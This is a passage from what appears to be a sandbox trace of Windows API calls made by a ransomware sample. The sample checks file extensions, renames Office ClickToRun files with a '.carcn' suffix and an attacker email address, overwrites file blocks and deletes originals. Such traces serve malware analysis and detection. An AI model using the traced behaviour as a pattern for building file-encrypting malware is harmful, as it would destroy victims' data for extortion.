lpString2=".dll") returned 1 [0293.062] lstrlenW (lpString=".xlsx") returned 5 [0293.062] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.062] lstrlenW (lpString=".ppt") returned 4 [0293.062] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.062] lstrlenW (lpString=".zip") returned 4 [0293.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.062] lstrlenW (lpString=".rar") returned 4 [0293.063] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.063] lstrlenW (lpString=".bz2") returned 4 [0293.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.063] lstrlenW (lpString=".7z") returned 3 [0293.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.063] lstrlenW (lpString=".dbf") returned 4 [0293.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.063] lstrlenW (lpString=".1cd") returned 4 [0293.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.063] lstrlenW (lpString=".jpg") returned 4 [0293.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.063] lstrlenW (lpString=".doc") returned 4 [0293.063] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.063] lstrlenW (lpString=".docx") returned 5 [0293.063] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.063] lstrlenW (lpString=".pdf") returned 4 [0293.063] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.063] lstrlenW (lpString=".xls") returned 4 [0293.063] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.063] lstrlenW (lpString=".xlsx") returned 5 [0293.063] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.063] lstrlenW (lpString=".ppt") returned 4 [0293.063] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.064] lstrlenW (lpString=".zip") returned 4 [0293.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.064] lstrlenW (lpString=".rar") returned 4 [0293.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.064] lstrlenW (lpString=".bz2") returned 4 [0293.064] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.064] lstrlenW (lpString=".7z") returned 3 [0293.064] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.064] lstrlenW (lpString=".dbf") returned 4 [0293.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.064] lstrlenW (lpString=".1cd") returned 4 [0293.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.064] lstrlenW (lpString=".jpg") returned 4 [0293.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.064] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.064] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0293.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0293.065] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=656088) returned 1 [0293.065] CloseHandle (hObject=0x35c) returned 1 [0293.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0293.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.066] lstrlenW (lpString=".doc") returned 4 [0293.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString=".docx") returned 5 [0293.066] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0293.066] lstrlenW (lpString=".pdf") returned 4 [0293.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString=".xls") returned 4 [0293.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString=".xlsx") returned 5 [0293.066] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0293.066] lstrlenW (lpString=".ppt") returned 4 [0293.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.066] lstrlenW (lpString=".zip") returned 4 [0293.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString=".rar") returned 4 [0293.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.066] lstrlenW (lpString=".bz2") returned 4 [0293.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.066] lstrlenW (lpString=".7z") returned 3 [0293.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.066] lstrlenW (lpString=".dbf") returned 4 [0293.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.066] lstrlenW (lpString=".1cd") returned 4 [0293.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.067] lstrlenW (lpString=".jpg") returned 4 [0293.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.067] lstrlenW (lpString=".doc") returned 4 [0293.067] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString=".docx") returned 5 [0293.067] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0293.067] lstrlenW (lpString=".pdf") returned 4 [0293.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString=".xls") returned 4 [0293.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString=".xlsx") returned 5 [0293.067] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0293.067] lstrlenW (lpString=".ppt") returned 4 [0293.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.067] lstrlenW (lpString=".zip") returned 4 [0293.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString=".rar") returned 4 [0293.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.067] lstrlenW (lpString=".bz2") returned 4 [0293.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.067] lstrlenW (lpString=".7z") returned 3 [0293.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.067] lstrlenW (lpString=".dbf") returned 4 [0293.068] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.068] lstrlenW (lpString=".1cd") returned 4 [0293.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0293.068] lstrlenW (lpString=".jpg") returned 4 [0293.068] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.068] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0293.068] lstrlenW (lpString="appvcleaner.exe") returned 15 [0293.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0293.069] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2054872) returned 1 [0293.069] CloseHandle (hObject=0x35c) returned 1 [0293.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0293.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0293.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0293.070] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc64 | out: lpNewFilePointer=0x0) returned 1 [0293.070] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0293.070] ReadFile (in: hFile=0x35c, lpBuffer=0x406d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x406d058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.078] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0293.079] ReadFile (in: hFile=0x35c, lpBuffer=0x40ad058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x40ad058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.110] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x363fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0293.110] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x363fc24 | out: lpNewFilePointer=0x0) returned 1 [0293.110] ReadFile (in: hFile=0x35c, lpBuffer=0x40ed058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x363fc30, lpOverlapped=0x0 | out: lpBuffer=0x40ed058*, lpNumberOfBytesRead=0x363fc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.131] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.131] WriteFile (in: hFile=0x35c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x363fca8, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fca8*=0xc010a, lpOverlapped=0x0) returned 1 [0293.154] SetEndOfFile (hFile=0x35c) returned 1 [0293.154] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44c48c8 [0293.507] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.507] WriteFile (in: hFile=0x35c, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.508] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.508] WriteFile (in: hFile=0x35c, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.573] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x363fc74 | out: lpNewFilePointer=0x0) returned 1 [0293.573] WriteFile (in: hFile=0x35c, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x363fc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x363fc80*=0x40000, lpOverlapped=0x0) returned 1 [0293.575] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44c48c8 | out: hHeap=0x700000) returned 1 [0294.559] CloseHandle (hObject=0x35c) returned 1 [0294.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.559] lstrlenW (lpString=".doc") returned 4 [0294.559] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.559] lstrlenW (lpString=".docx") returned 5 [0294.559] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0294.559] lstrlenW (lpString=".pdf") returned 4 [0294.559] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.559] lstrlenW (lpString=".xls") returned 4 [0294.559] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.559] lstrlenW (lpString=".xlsx") returned 5 [0294.559] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0294.560] lstrlenW (lpString=".ppt") returned 4 [0294.560] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString=".zip") returned 4 [0294.560] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.560] lstrlenW (lpString=".rar") returned 4 [0294.560] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.560] lstrlenW (lpString=".bz2") returned 4 [0294.560] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.560] lstrlenW (lpString=".7z") returned 3 [0294.560] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString=".dbf") returned 4 [0294.560] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString=".1cd") returned 4 [0294.560] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString=".jpg") returned 4 [0294.560] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.560] lstrlenW (lpString=".doc") returned 4 [0294.560] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.560] lstrlenW (lpString=".docx") returned 5 [0294.560] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0294.560] lstrlenW (lpString=".pdf") returned 4 [0294.561] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.561] lstrlenW (lpString=".xls") returned 4 [0294.561] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.561] lstrlenW (lpString=".xlsx") returned 5 [0294.561] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0294.561] lstrlenW (lpString=".ppt") returned 4 [0294.561] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.561] lstrlenW (lpString=".zip") returned 4 [0294.561] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.561] lstrlenW (lpString=".rar") returned 4 [0294.561] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.561] lstrlenW (lpString=".bz2") returned 4 [0294.561] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.561] lstrlenW (lpString=".7z") returned 3 [0294.561] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.561] lstrlenW (lpString=".dbf") returned 4 [0294.561] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.561] lstrlenW (lpString=".1cd") returned 4 [0294.561] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0294.561] lstrlenW (lpString=".jpg") returned 4 [0294.561] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.562] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0294.562] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0294.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0294.562] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1093248) returned 1 [0294.562] CloseHandle (hObject=0x35c) returned 1 [0294.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0294.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0294.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0294.563] GetLastError () returned 0x0 [0294.563] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0295.199] WriteFile (in: hFile=0x36c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0295.769] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xae90, lpOverlapped=0x0) returned 1 [0295.781] WriteFile (in: hFile=0x36c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xaea0, lpOverlapped=0x0) returned 1 [0295.785] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.785] WriteFile (in: hFile=0x36c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfc, lpOverlapped=0x0) returned 1 [0295.785] SetEndOfFile (hFile=0x36c) returned 1 [0295.786] CloseHandle (hObject=0x36c) returned 1 [0295.786] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.786] SetEndOfFile (hFile=0x35c) returned 1 [0295.787] CloseHandle (hObject=0x35c) returned 1 [0295.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0295.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.788] lstrlenW (lpString=".doc") returned 4 [0295.788] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0295.788] lstrlenW (lpString=".docx") returned 5 [0295.788] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0295.788] lstrlenW (lpString=".pdf") returned 4 [0295.788] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0295.788] lstrlenW (lpString=".xls") returned 4 [0295.788] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0295.788] lstrlenW (lpString=".xlsx") returned 5 [0295.788] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0295.789] lstrlenW (lpString=".ppt") returned 4 [0295.789] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString=".zip") returned 4 [0295.789] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0295.789] lstrlenW (lpString=".rar") returned 4 [0295.789] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0295.789] lstrlenW (lpString=".bz2") returned 4 [0295.789] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0295.789] lstrlenW (lpString=".7z") returned 3 [0295.789] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString=".dbf") returned 4 [0295.789] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString=".1cd") returned 4 [0295.789] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 